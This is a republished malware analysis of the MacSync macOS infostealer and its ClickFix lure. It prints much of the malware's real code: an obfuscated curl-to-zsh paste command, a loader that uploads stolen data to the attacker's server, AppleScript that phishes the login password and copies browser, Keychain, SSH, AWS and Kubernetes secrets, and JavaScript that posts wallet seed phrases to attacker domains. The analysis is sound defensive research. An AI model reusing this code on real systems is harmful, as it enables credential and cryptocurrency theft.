
MacSync is a macOS infostealer that harvests passwords, browser and crypto wallet data, Keychain items, and sensitive files. Whilst investigating this sample, it was discovered that it manipulates legitimate applications such as Ledger and Trezor to capture additional user information.
Original Research by MZHeader. Full credit to MZHeader for this research. Original Post: https://mzheader.tech/2025/12/21/clickfix-to-macsync.html. GitHub: https://github.com/MZHeader/MZHeader.github.io/blob/main/_posts/2025-12-21-clickfix-to-macsync.md
ClickFix is a social-engineering technique that convinces users to paste and execute commands under false pretences. You can read more about it here.
Whilst looking for malware samples related to ClickFix, I came across a lure targeting users looking to download macOS applications, located at hxxps[://]macfilearchive[.]com/s3/.
If we decode the command, we can see that it references Apple's domain. However if we take the entire command and decode it, we are left with the following:
echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" && curl -kfsSL $(echo 'aHR0cDovL2JhbGxmcmFuay50b2RheS9jdXJsLzI3MDY1M2Y4NjJmMGVlMjFkY2UwYTQ2ZTQ4MDFlYzI4ZGI0ZGRjNzdiNmZiYTkzNDFiMWI4ZGIyOTkwOWM1MTQ='|base64 -D)|zshDecoding the Base64 string reveals:
hxxp[://]ballfrank[.]today/curl/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514If we look at the URL, we can see the following Zsh script which is downloaded and executed on the victim's machine. This is the main entry point for the malware.
#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="ballfrank[.]today"
local token="270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
local api_key="5190ef1733183a0dc63fb623357f56d6"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
curl -k -X POST \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
-H "api-key: $api_key" \
-H "cl: 0" \
--max-time 300 \
-F "file=@/tmp/osalogging.zip" \
-F "buildtxd=$token" \
"http://$domain/gate"
if [ $? -ne 0 ]; then
exit 1
fi
rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
exit 0
else
exit 1
fiIt works like this:
ballfrank[.]today and has a hardcoded API key of 5190ef1733183a0dc63fb623357f56d6osascript command can be used for malicious purposes as it can run AppleScript, enabling attackers to automate tasks, execute shell commands, and manipulate system settings.osalogging.zip to /gate before removing it.The main stage of the malware is in an osascript format (AppleScript). Upon execution, the user is greeted with a dialog box asking for the user's password. The script loops until correct credentials are entered.
This checks the validity of the entered password by calling dscl . authonly and saves the password for later exfiltration.
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind, provided_password)
try
if provided_password is not equal to "" then
if checkvalid(username, provided_password) then
writeText(provided_password, writemind & "Password")
return provided_password
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
return ""
else
repeat
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "Password")
return password_entered
end if
end repeat
end if
end try
return ""
end getpwdMany Chromium-based applications are targeted by this malware such as Chrome, Brave, Edge, Opera, Opera GX, Yandex, Coccoc, Vivaldi and Arc. Cookies, saved passwords, Login Data and browser extensions are targeted.
Below is a list of targeted extension IDs:
on Chromium(writemind, chromium_map)
set pluginList to {}
set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"dckgbiealcgdhgjofgcignfngijpbgba", "gmegpkknicehidppoebnmbhndjigpica"}
set pluginList to pluginList & {"eiokpeobbgpinbmcanngjjbklmhlepan", "odfkmgboddhcgopllebhkbjhokpojigd"}
set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end ChromiumFirefox data is also targeted:
Local crypto wallets are also targeted:
The malware uses the find command to grab files from the victim's Desktop, Documents, and Downloads folders with specific extensions:
on FilegrabberFDA(writemind, profile)
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
try
set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}
repeat with src in sourceFolders
repeat with ext in extensionsList
try
set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
do shell script shellCmd
end try
end repeat
end repeat
end try
try
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
end try
try
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
end try
end FilegrabberKeychain data as well as SSH, AWS, and Kubernetes credentials are also targeted:
on Keychains(writemind)
try
do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
end try
end Keychains
on CloudKeys(writemind)
try
do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
end try
try
do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
end try
try
do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
end try
end CloudKeysTelegram Desktop data is also copied.
Once all data has been collected, it is organized into the following structure within a random temp directory /tmp/sync[RANDOM-NUMBER]/:
Browsers/ (browser profiles, cookies, credentials)
Wallets/ (desktop and web wallet data)
Extensions/ (password manager and crypto extension data)
FileGrabber/ (sensitive documents)
Profile/ (shell history, SSH keys, git config)
Telegram Desktop/
Notes/ (Apple Notes database)
Safari/ (cookies and history)The data is compressed into /tmp/osalogging.zip using:
ditto -c -k --sequesterRsrc /tmp/sync[RANDOM]/ /tmp/osalogging.zipA info file is also created with the following:
try
writeText("MacSync Stealer\n\n", writemind & "info")
writeText("Build Tag: s3\n", writemind & "info")
writeText("Version: 1.1.2_release (x64_86 & ARM)\n", writemind & "info")
writeText("IP: [REDACTED_IP]]\n\n", writemind & "info")
writeText("Username: " & username, writemind & "info")
writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end tryIf the user has Trezor Suite installed, it is replaced with a backdoored version downloaded from the attacker's infrastructure:
set TREZORURL to "hxxps[://]ballfrank[.]today/trezor/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set TREZORDMGPATH to "/tmp/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set TREZORMOUNT to "/tmp"
set TREZORNAME to "Trezor Suite.app"
set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
set TREZORAPPFOLDER to "/Applications"
set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME
try
do shell script "test -d " & quoted form of TREZORDEST
set trezor_installed to true
on error
set trezor_installed to false
end try
if trezor_installed then
try
do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of TREZORURL & " -o " & quoted form of TREZORDMGPATH
do shell script "unzip -q -o " & quoted form of TREZORDMGPATH & " -d " & quoted form of TREZORMOUNT
set app_exists to false
try
do shell script "test -e " & quoted form of TREZORPATH
set app_exists to true
end try
if app_exists then
try
do shell script "killall -9 'Trezor Suite'"
end try
do shell script "rm -rf " & quoted form of TREZORDEST
do shell script "cp -R " & quoted form of TREZORPATH & " " & quoted form of TREZORAPPFOLDER
end if
end try
try
do shell script "rm -rf " & quoted form of TREZORDMGPATH
do shell script "rm -rf " & quoted form of TREZORPATH
end try
end ifThe malicious Trezor Suite application contains no legitimate wallet functionality. Instead, it has a WebView loader that points to ballfrank[.]today/trezor/start/[TOKEN].
This presents a fake interface that asks users to enter their recovery seed:
Once the seed is entered, it is sent to /modules/wallets via a POST request:
POST /modules/wallets HTTP/1.1
Host: ballfrank[.]today
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Content-Type: application/json
Origin: https://ballfrank.today
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
Referer: hxxps[://]ballfrank[.]today/trezor/12/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514
Content-Length: 177
Connection: keep-alive
Sec-Fetch-Dest: empty
Cookie: PHPSESSID=9vh6eufvm1g1e4ogo8bproigjh
{"seedwords":["123","123","123","123","123","123","123","123","123","123","123","123"],"token":"270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514","app":"trezor"}The user is then shown a fake error message:
Similarly, if Ledger Wallet is installed:
set LEDGERURL to "hxxps[://]ballfrank[.]today/ledger/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set LEDGERMOUNT to "/tmp"
set LEDGERPATH0 to LEDGERMOUNT & "/app.asar"
set LEDGERPATH1 to LEDGERMOUNT & "/Info.plist"
set LEDGERDMGPATH to LEDGERMOUNT & "/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set LEDGERNAME to "Ledger Wallet.app"
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME
set LEDGERTMPDEST to "/tmp/Ledger Wallet.app"
set LEDGERDESTFILE0 to LEDGERDEST & "/Contents/Resources/app.asar"
set LEDGERDESTFILE1 to LEDGERDEST & "/Contents/Info.plist"
try
do shell script "test -d " & quoted form of LEDGERDEST
set ledger_installed to true
on error
set ledger_installed to false
end try
if ledger_installed then
try
do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
set app_exists to false
try
do shell script "test -e " & quoted form of LEDGERPATH0
set app_exists to true
on error
set app_exists to false
end try
try
do shell script "test -e " & quoted form of LEDGERPATH1
set app_exists to true
on error
set app_exists to false
end try
if app_exists then
do shell script "cp -rf " & quoted form of LEDGERDEST & " " & quoted form of LEDGERTMPDEST
do shell script "rm -rf " & quoted form of LEDGERDEST
do shell script "mv " & quoted form of LEDGERTMPDEST & " " & quoted form of LEDGERDEST
do shell script "mv " & quoted form of LEDGERPATH0 & " " & quoted form of LEDGERDESTFILE0
do shell script "mv " & quoted form of LEDGERPATH1 & " " & quoted form of LEDGERDESTFILE1
do shell script "codesign -f -d -s - " & quoted form of LEDGERDEST
end if
end try
end ifUnlike Trezor, Ledger's malicious version works differently. It downloads app.asar and Info.plist files and replaces the legitimate ones. The app.asar file contains HTML and JavaScript for collecting seed words.
The user is presented with a fake error message:
The user is then asked to enter their 24-word recovery phrase:
The JavaScript code within the malicious app.asar file collects the seed words and sends them to main[.]ledger-gate[.]coupons:
continueBtn.addEventListener('click', function () {
if (!this.classList.contains('active')) return;
const words = Array.from(inputs).map(i => i.value.trim());
const token = '270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514';
const targetUrl = 'hxxps[://]main[.]ledger-gate[.]coupons/modules/wallets';
fetch(targetUrl, {
method: 'POST',
cache: 'no-cache',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
seedwords: words,
token: token,
app: 'ledger',
url: location.href
})
})
.then(response => {
location.href = 'index.html';
})
.catch(err => {
location.href = 'index.html';
});The POST request:
POST /modules/wallets HTTP/1.1
Host: main.ledger-gate.coupons
Connection: keep-alive
Content-Length: 356
Cache-Control: max-age=0
sec-ch-ua-platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) LedgerWallet/2.133.0 Chrome/140.0.7339.133 Electron/38.2.0 Safari/537.36
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB
{"seedwords":["123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123"],"token":"270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514","app":"ledger","url":"file:///Applications/Ledger%20Wallet.app/Contents/Resources/app.asar/.webpack/recovery-step-3.html"}Domains:
Malware Identification:
MacSync Stealer, Version 1.1.2_release (x64_86 & ARM), Build Tag: s3Research Attribution. Full credit to MZHeader for this research. Visit the original post for additional technical details. Read Original Post: https://mzheader.tech/2025/12/21/clickfix-to-macsync.html. GitHub: https://github.com/MZHeader/MZHeader.github.io/blob/main/_posts/2025-12-21-clickfix-to-macsync.md
One monthly plan, one front door: penetration testing, Cyber Essentials, AI security, training and advice, from £1,500 a month. No hidden costs.